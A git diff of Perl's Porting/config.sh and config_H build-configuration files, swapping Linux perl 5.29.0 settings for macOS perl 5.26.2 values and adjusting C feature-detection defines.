IPC/Cmd IPC/Open3 IPC/SysV JSON/PP List/Util Locale/Codes Locale/Maketext Locale/Maketext/Simple MIME/Base64 Math/BigInt Math/BigInt/FastCalc Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NDBM_File NEXT Net/Ping ODBM_File Opcode POSIX Params/Check Perl/OSType PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage SDBM_File Safe Search/Dict SelfLoader Socket Storable Sys/Hostname Sys/Syslog Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Hash/NamedCapture Tie/Memoize Tie/RefHash Time/HiRes Time/Local Time/Piece Unicode/Collate Unicode/Normalize VMS/DCLsym VMS/Filespec VMS/Stdio Win32 Win32API/File Win32CORE XS/APItest XS/Typemap XSLoader arybase attributes autodie autouse base bignum constant encoding/warnings experimental if lib libnet mro parent perlfaq podlators re threads threads/shared version ' +known_extensions='Amiga/ARexx Amiga/Exec Archive/Tar Attribute/Handlers AutoLoader B B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Compress/Raw/Bzip2 Compress/Raw/Zlib Config/Perl/V Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Devel/SelfStubber Digest Digest/MD5 Digest/SHA Dumpvalue Encode Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS Fcntl File/DosGlob File/Fetch File/Find File/Glob File/Path File/Temp FileCache Filter/Simple Filter/Util/Call GDBM_File Getopt/Long HTTP/Tiny Hash/Util Hash/Util/FieldHash I18N/Collate I18N/LangTags I18N/Langinfo IO IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 IPC/SysV JSON/PP List/Util Locale/Codes Locale/Maketext Locale/Maketext/Simple MIME/Base64 Math/BigInt Math/BigInt/FastCalc Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NDBM_File NEXT Net/Ping ODBM_File Opcode POSIX Params/Check Parse/CPAN/Meta Perl/OSType PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage SDBM_File Safe Search/Dict SelfLoader Socket Storable Sys/Hostname Sys/Syslog Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Hash/NamedCapture Tie/Memoize Tie/RefHash Time/HiRes Time/Local Time/Piece Unicode/Collate Unicode/Normalize VMS/DCLsym VMS/Filespec VMS/Stdio Win32 Win32API/File Win32CORE XS/APItest XS/Typemap XSLoader arybase attributes autodie autouse base bignum constant encoding/warnings experimental if lib libnet mro parent perlfaq podlators re threads threads/shared version ' ksh='' ld='cc' -ld_can_script='define' -lddlflags='-shared -O2 -L/usr/local/lib -fstack-protector-strong' -ldflags=' -fstack-protector-strong -L/usr/local/lib' +ld_can_script='undef' +lddlflags=' -mmacosx-version-min=10.9 -bundle -undefined dynamic_lookup -L/usr/local/lib -L/opt/local/lib -fstack-protector' +ldflags=' -mmacosx-version-min=10.9 -fstack-protector -L/usr/local/lib -L/opt/local/lib' ldflags_uselargefiles='' -ldlibpthname='LD_LIBRARY_PATH' +ldlibpthname='DYLD_LIBRARY_PATH' less='less' lib_ext='.a' -libc='libc-2.19.so' +libc='' libperl='libperl.a' -libpth='/usr/local/lib /usr/lib/gcc/x86_64-linux-gnu/4.9/include-fixed /usr/include/x86_64-linux-gnu /usr/lib /lib/x86_64-linux-gnu /lib/../lib /usr/lib/x86_64-linux-gnu /usr/lib/../lib /lib' -libs='-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat' -libsdirs=' /usr/lib/x86_64-linux-gnu' -libsfiles=' libpthread.so libnsl.so libgdbm.so libdb.so libdl.so libm.so libcrypt.so libutil.so libc.so libgdbm_compat.so' -libsfound=' /usr/lib/x86_64-linux-gnu/libpthread.so /usr/lib/x86_64-linux-gnu/libnsl.so /usr/lib/x86_64-linux-gnu/libgdbm.so /usr/lib/x86_64-linux-gnu/libdb.so /usr/lib/x86_64-linux-gnu/libdl.so /usr/lib/x86_64-linux-gnu/libm.so /usr/lib/x86_64-linux-gnu/libcrypt.so /usr/lib/x86_64-linux-gnu/libutil.so /usr/lib/x86_64-linux-gnu/libc.so /usr/lib/x86_64-linux-gnu/libgdbm_compat.so' -libspath=' /usr/local/lib /usr/lib/gcc/x86_64-linux-gnu/4.9/include-fixed /usr/include/x86_64-linux-gnu /usr/lib /lib/x86_64-linux-gnu /lib/../lib /usr/lib/x86_64-linux-gnu /usr/lib/../lib /lib' -libswanted='cl pthread cl pthread socket inet nsl gdbm dbm db malloc dl ld sun m crypt sec util c cposix posix ucb BSD gdbm_compat' +libpth='/usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /opt/local/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib' +libs='-lpthread -lgdbm -ldbm -ldl -lm -lutil -lc' +libsdirs='' +libsfiles='' +libsfound='' +libspath=' /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /opt/local/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib' +libswanted='cl pthread socket bind inet nsl ndbm gdbm dbm db malloc dl ld sun m crypt sec util c cposix posix ucb bsd BSD' libswanted_uselargefiles='' line='' lint='' lkflags='' ln='ln' -lns='/bin/ln -s' +lns='/opt/local/libexec/gnubin/ln -s' localtime_r_proto='0' locincpth='/usr/local/include /opt/local/include /usr/gnu/include /opt/gnu/include /usr/GNU/include /opt/GNU/include' loclibpth='/usr/local/lib /opt/local/lib /usr/gnu/lib /opt/gnu/lib /usr/GNU/lib /opt/GNU/lib' longdblinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00' longdblkind='3' longdblmantbits='64' -longdblnanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00' +longdblnanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00' longdblsize='16' longlongsize='8' longsize='8' @@ -922,11 +926,11 @@ make_set_make='#' mallocobj='' mallocsrc='' malloctype='void *' -man1dir='/opt/perl/man/man1' -man1direxp='/opt/perl/man/man1' +man1dir='/tmp/mblead/man/man1' +man1direxp='/tmp/mblead/man/man1' man1ext='1' -man3dir='/opt/perl/man/man3' -man3direxp='/opt/perl/man/man3' +man3dir='/tmp/mblead/man/man3' +man3direxp='/tmp/mblead/man/man3' man3ext='3' mips_type='' mistrustnm='' @@ -934,12 +938,12 @@ mkdir='mkdir' mmaptype='void *' modetype='mode_t' more='more' -multiarch='undef' +multiarch='define' mv='' -myarchname='x86_64-linux' -mydomain='.yourplace.com' -myhostname='yourhost' -myuname='linux barba.rous.org 3.16.0-4-amd64 #1 smp debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 gnulinux ' +myarchname='i386-darwin' +mydomain='.nonet' +myhostname='daybreak' +myuname='darwin daybreak 13.4.0 darwin kernel version 13.4.0: mon jan 11 18:17:34 pst 2016; root:xnu-2422.115.15~1release_x86_64 x86_64 i386 macbookpro11,3 darwin ' n='-n' need_va_copy='define' netdb_hlen_type='size_t' @@ -948,8 +952,8 @@ netdb_name_type='const char *' netdb_net_type='in_addr_t' nm='nm' nm_opt='' -nm_so_opt='--dynamic' -nonxs_ext='Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version' +nm_so_opt='' +nonxs_ext='Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Parse/CPAN/Meta Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version' nroff='nroff' nvEUformat='"E"' nvFUformat='"F"' @@ -965,34 +969,35 @@ nvtype='double' o_nonblock='O_NONBLOCK' obj_ext='.o' old_pthread_create_joinable='' -optimize='-O2' +optimize='-O3' orderlib='false' -osname='linux' -osvers='3.16.0-4-amd64' +osname='darwin' +osvers='13.4.0' otherlibdirs=' ' package='perl5' -pager='/usr/bin/less -R' +pager='/Users/aaron/usr/bin/less -R' passcat='cat /etc/passwd' -patchlevel='27' +patchlevel='24' path_sep=':' -perl5='/usr/bin/perl' +perl5='/Users/aaron/perl5/perlbrew/perls/perl-5.22.0/bin/perl' perl='perl' perl_patchlevel='' perl_static_inline='static __inline__' -perladmin='yourname@yourhost.yourplace.com' -perllibs='-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc' -perlpath='/opt/perl/bin/perl5.29.0' +perladmin='aaron@daybreak.nonet' +perllibs='-lpthread -ldl -lm -lutil -lc' +perlpath='/tmp/mblead/bin/perl5.26.2' pg='pg' -phostname='' +phostname='hostname' pidtype='pid_t' -plibpth='/lib/x86_64-linux-gnu/4.9 /lib/x86_64-linux-gnu /lib/../lib /usr/lib/x86_64-linux-gnu/4.9 /usr/lib/x86_64-linux-gnu /usr/lib/../lib /lib /usr/lib' +plibpth='' pmake='' pr='' -prefix='/opt/perl' -prefixexp='/opt/perl' -privlib='/opt/perl/lib/5.29.0' -privlibexp='/opt/perl/lib/5.29.0' -procselfexe='"/proc/self/exe"' +prefix='/tmp/mblead' +prefixexp='/tmp/mblead' +privlib='/tmp/mblead/lib/perl5/5.26.2' +privlibexp='/tmp/mblead/lib/perl5/5.26.2' +procselfexe='' +prototype='define' ptrsize='8' quadkind='2' quadtype='long' @@ -1000,20 +1005,20 @@ randbits='48' randfunc='Perl_drand48' random_r_proto='0' randseedtype='U32' -ranlib=':' +ranlib='ranlib' rd_nodata='-1' readdir64_r_proto='0' readdir_r_proto='0' revision='5' rm='rm' -rm_try='/bin/rm -f try try a.out .out try.[cho] try..o core core.try* try.core*' +rm_try='/opt/local/libexec/gnubin/rm -f try try a.out .out try.[cho] try..o core core.try* try.core*' rmail='' run='' runnm='false' sGMTIME_max='67768036191676799' sGMTIME_min='-62167219200' sLOCALTIME_max='67768036191676799' -sLOCALTIME_min='-62167219125' +sLOCALTIME_min='-62167219200' sPRIEUldbl='"LE"' sPRIFUldbl='"LF"' sPRIGUldbl='"LG"' @@ -1028,11 +1033,11 @@ sPRIu64='"lu"' sPRIx64='"lx"' sSCNfldbl='"Lf"' sched_yield='sched_yield()' -scriptdir='/opt/perl/bin' -scriptdirexp='/opt/perl/bin' +scriptdir='/tmp/mblead/bin' +scriptdirexp='/tmp/mblead/bin' sed='sed' seedfunc='Perl_drand48_init' -selectminbits='64' +selectminbits='32' selecttype='fd_set *' sendmail='' setgrent_r_proto='0' @@ -1049,37 +1054,37 @@ shmattype='void *' shortsize='2' shrpenv='' shsharp='true' -sig_count='65' -sig_name='ZERO HUP INT QUIT ILL TRAP ABRT BUS FPE KILL USR1 SEGV USR2 PIPE ALRM TERM STKFLT CHLD CONT STOP TSTP TTIN TTOU URG XCPU XFSZ VTALRM PROF WINCH IO PWR SYS NUM32 NUM33 RTMIN NUM35 NUM36 NUM37 NUM38 NUM39 NUM40 NUM41 NUM42 NUM43 NUM44 NUM45 NUM46 NUM47 NUM48 NUM49 NUM50 NUM51 NUM52 NUM53 NUM54 NUM55 NUM56 NUM57 NUM58 NUM59 NUM60 NUM61 NUM62 NUM63 RTMAX IOT CLD POLL UNUSED ' -sig_name_init='"ZERO", "HUP", "INT", "QUIT", "ILL", "TRAP", "ABRT", "BUS", "FPE", "KILL", "USR1", "SEGV", "USR2", "PIPE", "ALRM", "TERM", "STKFLT", "CHLD", "CONT", "STOP", "TSTP", "TTIN", "TTOU", "URG", "XCPU", "XFSZ", "VTALRM", "PROF", "WINCH", "IO", "PWR", "SYS", "NUM32", "NUM33", "RTMIN", "NUM35", "NUM36", "NUM37", "NUM38", "NUM39", "NUM40", "NUM41", "NUM42", "NUM43", "NUM44", "NUM45", "NUM46", "NUM47", "NUM48", "NUM49", "NUM50", "NUM51", "NUM52", "NUM53", "NUM54", "NUM55", "NUM56", "NUM57", "NUM58", "NUM59", "NUM60", "NUM61", "NUM62", "NUM63", "RTMAX", "IOT", "CLD", "POLL", "UNUSED", 0' -sig_num='0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 6 17 29 31 ' -sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 6, 17, 29, 31, 0' -sig_size='69' +sig_count='32' +sig_name='ZERO HUP INT QUIT ILL TRAP ABRT EMT FPE KILL BUS SEGV SYS PIPE ALRM TERM URG STOP TSTP CONT CHLD TTIN TTOU IO XCPU XFSZ VTALRM PROF WINCH INFO USR1 USR2 IOT ' +sig_name_init='"ZERO", "HUP", "INT", "QUIT", "ILL", "TRAP", "ABRT", "EMT", "FPE", "KILL", "BUS", "SEGV", "SYS", "PIPE", "ALRM", "TERM", "URG", "STOP", "TSTP", "CONT", "CHLD", "TTIN", "TTOU", "IO", "XCPU", "XFSZ", "VTALRM", "PROF", "WINCH", "INFO", "USR1", "USR2", "IOT", 0' +sig_num='0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 6 ' +sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 6, 0' +sig_size='33' signal_t='void' -sitearch='/opt/perl/lib/site_perl/5.29.0/x86_64-linux' -sitearchexp='/opt/perl/lib/site_perl/5.29.0/x86_64-linux' -sitebin='/opt/perl/bin' -sitebinexp='/opt/perl/bin' +sitearch='/tmp/mblead/lib/perl5/site_perl/5.26.2/darwin-2level' +sitearchexp='/tmp/mblead/lib/perl5/site_perl/5.26.2/darwin-2level' +sitebin='/tmp/mblead/bin' +sitebinexp='/tmp/mblead/bin' sitehtml1dir='' sitehtml1direxp='' sitehtml3dir='' sitehtml3direxp='' -sitelib='/opt/perl/lib/site_perl/5.29.0' -sitelib_stem='/opt/perl/lib/site_perl' -sitelibexp='/opt/perl/lib/site_perl/5.29.0' -siteman1dir='/opt/perl/man/man1' -siteman1direxp='/opt/perl/man/man1' -siteman3dir='/opt/perl/man/man3' -siteman3direxp='/opt/perl/man/man3' -siteprefix='/opt/perl' -siteprefixexp='/opt/perl' -sitescript='/opt/perl/bin' -sitescriptexp='/opt/perl/bin' +sitelib='/tmp/mblead/lib/perl5/site_perl/5.26.2' +sitelib_stem='/tmp/mblead/lib/perl5/site_perl' +sitelibexp='/tmp/mblead/lib/perl5/site_perl/5.26.2' +siteman1dir='/tmp/mblead/man/man1' +siteman1direxp='/tmp/mblead/man/man1' +siteman3dir='/tmp/mblead/man/man3' +siteman3direxp='/tmp/mblead/man/man3' +siteprefix='/tmp/mblead' +siteprefixexp='/tmp/mblead' +sitescript='/tmp/mblead/bin' +sitescriptexp='/tmp/mblead/bin' sizesize='8' sizetype='size_t' sleep='' smail='' -so='so' +so='dylib' sockethdr='' socketlib='' socksizetype='socklen_t' @@ -1092,19 +1097,20 @@ src='.' ssizetype='ssize_t' st_ino_sign='1' st_ino_size='8' -startperl='#!/opt/perl/bin/perl5.29.0' +startperl='#!/tmp/mblead/bin/perl5.26.2' startsh='#!/bin/sh' static_ext=' ' stdchar='char' -stdio_base='((fp)->_IO_read_base)' -stdio_bufsiz='((fp)->_IO_read_end - (fp)->_IO_read_base)' -stdio_cnt='((fp)->_IO_read_end - (fp)->_IO_read_ptr)' +stdio_base='((fp)->_ub._base ? (fp)->_ub._base : (fp)->_bf._base)' +stdio_bufsiz='((fp)->_ub._base ? (fp)->_ub._size : (fp)->_bf._size)' +stdio_cnt='((fp)->_r)' stdio_filbuf='' -stdio_ptr='((fp)->_IO_read_ptr)' +stdio_ptr='((fp)->_p)' stdio_stream_array='' strerror_r_proto='0' +strings='/usr/include/string.h' submit='' -subversion='0' +subversion='2' sysman='/usr/share/man/man1' sysroot='' tail='' @@ -1119,7 +1125,7 @@ targetsh='/bin/sh' tbl='' tee='' test='test' -timeincl='/usr/include/x86_64-linux-gnu/sys/time.h ' +timeincl='/usr/include/sys/time.h ' timetype='time_t' tmpnam_r_proto='0' to=':' @@ -1161,7 +1167,7 @@ usemorebits='undef' usemultiplicity='undef' usemymalloc='n' usenm='false' -usensgetexecutablepath='undef' +usensgetexecutablepath='define' useopcode='true' useperlio='define' useposix='true' @@ -1174,7 +1180,7 @@ usesocks='undef' usethreads='undef' usevendorprefix='undef' useversionedarchname='undef' -usevfork='false' +usevfork='true' usrinc='/usr/include' uuname='' uvXUformat='"lX"' @@ -1183,6 +1189,7 @@ uvsize='8' uvtype='unsigned long' uvuformat='"lu"' uvxformat='"lx"' +vaproto='define' vendorarch='' vendorarchexp='' vendorbin='' @@ -1202,8 +1209,8 @@ vendorprefix='' vendorprefixexp='' vendorscript='' vendorscriptexp='' -version='5.29.0' -version_patchlevel_string='version 29 subversion 0' +version='5.26.2' +version_patchlevel_string='version 26 subversion 2' versiononly='define' vi='' xlibpth='/usr/lib/386 /lib/386' @@ -1212,12 +1219,10 @@ yaccflags='' zcat='' zip='zip' PERL_REVISION=5 -PERL_VERSION=29 -PERL_SUBVERSION=0 +PERL_VERSION=26 +PERL_SUBVERSION=2 PERL_API_REVISION=5 -PERL_API_VERSION=29 +PERL_API_VERSION=26 PERL_API_SUBVERSION=0 PERL_PATCHLEVEL='' PERL_CONFIG_SH=true -: Variables propagated from previous config.sh file. -libdb_needs_pthread='N' diff --git a/Porting/config_H b/Porting/config_H index 6b000b982a63..9c25d1f359e8 100644 --- a/Porting/config_H +++ b/Porting/config_H @@ -13,9 +13,9 @@ /* Package name : perl5 * Source directory : . - * Configuration time: Fri Dec 22 16:17:32 GMT 2017 - * Configured by : yourname - * Target system : linux barba.rous.org 3.16.0-4-amd64 #1 smp debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 gnulinux + * Configuration time: Fri Jan 7 14:19:01 CET 2011 + * Configured by : merijn + * Target system : linux tux09.procura.nl 2.6.34.7-0.7-desktop #1 smp preempt 2010-12-13 11:13:53 +0100 i686 i686 i386 gnulinux */ #ifndef _config_h_ @@ -24,7 +24,7 @@ /* LOC_SED: * This symbol holds the complete pathname to the sed program. */ -#define LOC_SED "/bin/sed" /**/ +#define LOC_SED "/usr/bin/sed" /**/ /* HAS_ALARM: * This symbol, if defined, indicates that the alarm routine is @@ -32,11 +32,23 @@ */ #define HAS_ALARM /**/ -/* HAS_CBRT: - * This symbol, if defined, indicates that the cbrt() (cube root) - * function is available. +/* HAS_BCMP: + * This symbol is defined if the bcmp() routine is available to + * compare blocks of memory. */ -#define HAS_CBRT /**/ +#define HAS_BCMP /**/ + +/* HAS_BCOPY: + * This symbol is defined if the bcopy() routine is available to + * copy blocks of memory. + */ +#define HAS_BCOPY /**/ + +/* HAS_BZERO: + * This symbol is defined if the bzero() routine is available to + * set a memory block to 0. + */ +#define HAS_BZERO /**/ /* HAS_CHOWN: * This symbol, if defined, indicates that the chown routine is @@ -74,6 +86,14 @@ */ #define HAS_CUSERID /**/ +/* HAS_DBL_DIG: + * This symbol, if defined, indicates that this system's + * or defines the symbol DBL_DIG, which is the number + * of significant digits in a double precision number. If this + * symbol is not defined, a guess of 15 is usually pretty good. + */ +#define HAS_DBL_DIG /* */ + /* HAS_DIFFTIME: * This symbol, if defined, indicates that the difftime routine is * available. @@ -160,7 +180,7 @@ #define HAS_GETLOGIN /**/ /* HAS_GETPGID: - * This symbol, if defined, indicates to the C program that + * This symbol, if defined, indicates to the C program that * the getpgid(pid) function is available to get the * process group id. */ @@ -230,16 +250,42 @@ /* HAS_MBSTOWCS: * This symbol, if defined, indicates that the mbstowcs routine is - * available to convert a multibyte string into a wide character string. + * available to covert a multibyte string into a wide character string. */ #define HAS_MBSTOWCS /**/ /* HAS_MBTOWC: * This symbol, if defined, indicates that the mbtowc routine is available - * to convert a multibyte to a wide character. + * to covert a multibyte to a wide character. */ #define HAS_MBTOWC /**/ +/* HAS_MEMCMP: + * This symbol, if defined, indicates that the memcmp routine is available + * to compare blocks of memory. + */ +#define HAS_MEMCMP /**/ + +/* HAS_MEMCPY: + * This symbol, if defined, indicates that the memcpy routine is available + * to copy blocks of memory. + */ +#define HAS_MEMCPY /**/ + +/* HAS_MEMMOVE: + * This symbol, if defined, indicates that the memmove routine is available + * to copy potentially overlapping blocks of memory. This should be used + * only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your + * own version. + */ +#define HAS_MEMMOVE /**/ + +/* HAS_MEMSET: + * This symbol, if defined, indicates that the memset routine is available + * to set blocks of memory. + */ +#define HAS_MEMSET /**/ + /* HAS_MKDIR: * This symbol, if defined, indicates that the mkdir routine is available * to create directories. Otherwise you should fork off a new process to @@ -261,12 +307,6 @@ */ #define HAS_MKTIME /**/ -/* HAS_MSG: - * This symbol, if defined, indicates that the entire msg*(2) library is - * supported (IPC mechanism based on message queues). - */ -#define HAS_MSG /**/ - /* HAS_MSYNC: * This symbol, if defined, indicates that the msync system call is * available to synchronize a mapped file. @@ -348,13 +388,6 @@ */ #define HAS_READLINK /**/ -/* HAS_REGCOMP: - * This symbol, if defined, indicates that the regcomp() routine is - * available to do some regular patern matching (usually on POSIX.2 - * conforming systems). - */ -#define HAS_REGCOMP /* POSIX.2 */ - /* HAS_RENAME: * This symbol, if defined, indicates that the rename routine is available * to rename files. Otherwise you should do the unlink(), link(), unlink() @@ -376,12 +409,6 @@ */ #define HAS_SELECT /**/ -/* HAS_SEM: - * This symbol, if defined, indicates that the entire sem*(2) library is - * supported. - */ -#define HAS_SEM /**/ - /* HAS_SETEGID: * This symbol, if defined, indicates that the setegid routine is available * to change the effective gid of the current program. @@ -476,11 +503,17 @@ */ #define HAS_SETSID /**/ -/* HAS_STAT: - * This symbol, if defined, indicates that the stat routine is - * available to get file status. +/* HAS_STRCHR: + * This symbol is defined to indicate that the strchr()/strrchr() + * functions are available for string searching. If not, try the + * index()/rindex() pair. */ -#define HAS_STAT /**/ +/* HAS_INDEX: + * This symbol is defined to indicate that the index()/rindex() + * functions are available for string searching. + */ +#define HAS_STRCHR /**/ +/*#define HAS_INDEX / **/ /* HAS_STRCOLL: * This symbol, if defined, indicates that the strcoll routine is @@ -585,7 +618,7 @@ /* HAS_WCTOMB: * This symbol, if defined, indicates that the wctomb routine is available - * to convert a wide character to a multibyte. + * to covert a wide character to a multibyte. */ #define HAS_WCTOMB /**/ @@ -593,8 +626,8 @@ * This symbol holds the type used for the second argument to * getgroups() and setgroups(). Usually, this is the same as * gidtype (gid_t) , but sometimes it isn't. - * It can be int, ushort, gid_t, etc... - * It may be necessary to include to get any + * It can be int, ushort, gid_t, etc... + * It may be necessary to include to get any * typedef'ed information. This is only required if you have * getgroups() or setgroups().. */ @@ -630,24 +663,74 @@ */ /*#define I_FCNTL / **/ +/* I_FLOAT: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like DBL_MAX or + * DBL_MIN, i.e. machine dependent floating point values. + */ +#define I_FLOAT /**/ + /* I_GDBM: * This symbol, if defined, indicates that exists and should * be included. */ #define I_GDBM /**/ +/* I_LIMITS: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like WORD_BIT or + * LONG_MAX, i.e. machine dependant limitations. + */ +#define I_LIMITS /**/ + /* I_LOCALE: * This symbol, if defined, indicates to the C program that it should * include . */ #define I_LOCALE /**/ +/* I_MATH: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +#define I_MATH /**/ + +/* I_MEMORY: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +/*#define I_MEMORY / **/ + /* I_NETINET_IN: * This symbol, if defined, indicates to the C program that it should * include . Otherwise, you may try . */ #define I_NETINET_IN /**/ +/* I_STDBOOL: + * This symbol, if defined, indicates that exists and should + * be included. + */ +/*#define I_STDBOOL / **/ + +/* I_STDDEF: + * This symbol, if defined, indicates that exists and should + * be included. + */ +#define I_STDDEF /**/ + +/* I_STDLIB: + * This symbol, if defined, indicates that exists and should + * be included. + */ +#define I_STDLIB /**/ + +/* I_STRING: + * This symbol, if defined, indicates to the C program that it should + * include (USG systems) instead of (BSD systems). + */ +#define I_STRING /**/ + /* I_SYS_DIR: * This symbol, if defined, indicates to the C program that it should * include . @@ -732,6 +815,26 @@ */ #define I_SYS_WAIT /**/ +/* I_TERMIO: + * This symbol, if defined, indicates that the program should include + * rather than . There are also differences in + * the ioctl() calls that depend on the value of this symbol. + */ +/* I_TERMIOS: + * This symbol, if defined, indicates that the program should include + * the POSIX termios.h rather than sgtty.h or termio.h. + * There are also differences in the ioctl() calls that depend on the + * value of this symbol. + */ +/* I_SGTTY: + * This symbol, if defined, indicates that the program should include + * rather than . There are also differences in + * the ioctl() calls that depend on the value of this symbol. + */ +/*#define I_TERMIO / **/ +#define I_TERMIOS /**/ +/*#define I_SGTTY / **/ + /* I_UNISTD: * This symbol, if defined, indicates to the C program that it should * include . @@ -744,17 +847,41 @@ */ #define I_UTIME /**/ +/* I_VALUES: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like 